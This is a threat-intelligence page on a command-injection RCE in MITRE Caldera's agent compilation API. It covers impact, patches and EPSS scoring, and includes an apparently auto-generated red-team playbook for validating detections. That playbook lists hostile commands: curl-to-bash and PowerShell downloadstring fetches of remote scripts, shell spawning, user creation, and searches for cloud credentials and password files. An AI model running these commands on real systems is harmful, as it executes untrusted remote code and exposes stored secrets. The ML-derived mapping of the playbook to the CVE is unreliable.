CVE-2025-27364
Overview
This vulnerability is a command injection flaw rooted in improper handling of input parameters within the dynamic agent compilation feature of MITRE Caldera's server. Specifically, the server's API endpoint responsible for compiling and delivering Sandcat or Manx agents fails to sanitize the gcc -extldflags linker flag, allowing execution of arbitrary shell commands. The affected component is the Caldera server's implant compilation functionality present in versions through 4.2.0 and 5.0.0 prior to commit 35bc06e.
Vulnerability Description
In MITRE Caldera through 4.2.0 and 5.0.0 before 35bc06e, a Remote Code Execution (RCE) vulnerability was found in the dynamic agent (implant) compilation functionality of the server. This allows remote attackers to execute arbitrary code on the server that Caldera is running on via a crafted web request to the Caldera server API used for compiling and downloading of Caldera's Sandcat or Manx agent (implants). This web request can use the gcc -extldflags linker flag with sub-commands.
Impact
An unauthenticated remote attacker can exploit this flaw to execute arbitrary code on the Caldera server, gaining full control over the host system. No user interaction or privileges are required due to the network-exposed API endpoint accepting crafted requests (CVSS vector AV:N/AC:L/PR:N/UI:N). This can result in complete compromise of the server environment, enabling data theft, manipulation, or disruption of Caldera operations and potentially lateral movement within the network.
Solution
Users must upgrade MITRE Caldera to versions including the fix introduced in commit 35bc06e or later, as documented in the official GitHub release notes and security advisories (https://github.com/mitre/caldera/releases and https://github.com/mitre/caldera/security). No workaround is specified; immediate application of the patched version is recommended to mitigate this critical vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the dynamic agent compilation functionality of the MITRE Caldera server presents a critical risk due to its potential for Remote Code Execution (RCE). This flaw allows an attacker to craft a malicious web request that exploits the server's API, specifically targeting the compilation and downloading processes of Caldera's Sandcat or Manx agents. By leveraging the gcc -extldflags linker flag with sub-commands, an attacker can manipulate the server into executing arbitrary code. This exploitation occurs without requiring prior authentication, significantly increasing the threat level as it can be executed by any remote user who can reach the server.
Attack vectors for this vulnerability are straightforward yet highly effective. An attacker could initiate a crafted request to the Caldera server API, which would trigger the compilation of an agent implant with malicious payloads embedded within. This could be done using common tools and scripts, making it accessible even to individuals with limited technical skills. Once the malicious agent is compiled and executed on the server, the attacker gains control over the server environment, potentially leading to further network infiltration, data exfiltration, or the establishment of a persistent foothold within the organization’s infrastructure.
The real-world impact of this vulnerability is profound, particularly for organizations utilizing the Caldera platform for automated adversary emulation and security testing. The exploitation of this flaw could lead to severe business risks, including data breaches, loss of sensitive information, and significant reputational damage. Organizations may face regulatory penalties if sensitive data is compromised, especially in industries governed by strict compliance requirements. Additionally, the fallout from an RCE incident can lead to operational disruptions, financial losses, and a loss of customer trust, which can take years to rebuild.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Caldera server to the latest version is crucial, as patches addressing this vulnerability have been released. Additionally, organizations should employ network segmentation to limit access to the Caldera server, thereby reducing the attack surface. Implementing Web Application Firewalls (WAFs) can help filter out malicious requests before they reach the server. Furthermore, continuous monitoring of server logs for unusual API access patterns can aid in early detection of exploitation attempts. Conducting regular security assessments and penetration testing can also help identify potential weaknesses in the deployment of Caldera and ensure that security measures are effective.
In conclusion, the RCE vulnerability in the MITRE Caldera server poses a significant threat to organizations leveraging this platform for security operations. The ability for attackers to execute arbitrary code remotely underscores the necessity for robust security practices, timely updates, and proactive monitoring. By understanding the nature of this vulnerability and implementing comprehensive detection and mitigation strategies, organizations can better protect themselves against potential exploitation and the associated risks.
CSURFACE threat intelligence has identified a significant increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-27364, reflecting a heightened likelihood of exploitation despite no new technical exploit details emerging. The EPSS score rose by nearly half, placing this vulnerability in the 96th percentile for exploitability risk. This shift indicates growing confidence within attacker communities or automated tools that this remote code execution flaw in MITRE Caldera’s dynamic agent compilation can be leveraged effectively. For defenders, this escalation signals an increased urgency to monitor for potential exploitation attempts, as the elevated EPSS score often precedes wider weaponization or active targeting campaigns. While no direct evidence of new exploit code or active campaigns has been detected by our telemetry, the marked rise in predictive risk underscores the vulnerability’s criticality and the potential for imminent exploitation. Consequently, the threat level associated with CVE-2025-27364 should be considered elevated, warranting heightened vigilance in environments running affected Caldera versions.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-27364 |
| github.com |
GitHub CVE
|
https://github.com/mitre/caldera/releases |
| github.com |
GitHub CVE
|
https://github.com/mitre/caldera/security |
| medium.com |
GitHub CVE
|
https://medium.com/@mitrecaldera/mitre-caldera-security-advisory-remote-code-execution-cve-2025-27364-5f679e2e2a0e |
| github.com |
GitHub CVE
|
https://github.com/mitre/caldera/commit/35bc06e42e19fe7efbc008999b9f993b1b7109c0 |
| github.com |
GitHub CVE
|
https://github.com/mitre/caldera/pull/3131/commits/61de40f92a595bed462372a5e676c2e5a32d1050 |
| github.com |
GitHub CVE
|
https://github.com/mitre/caldera/pull/3129 |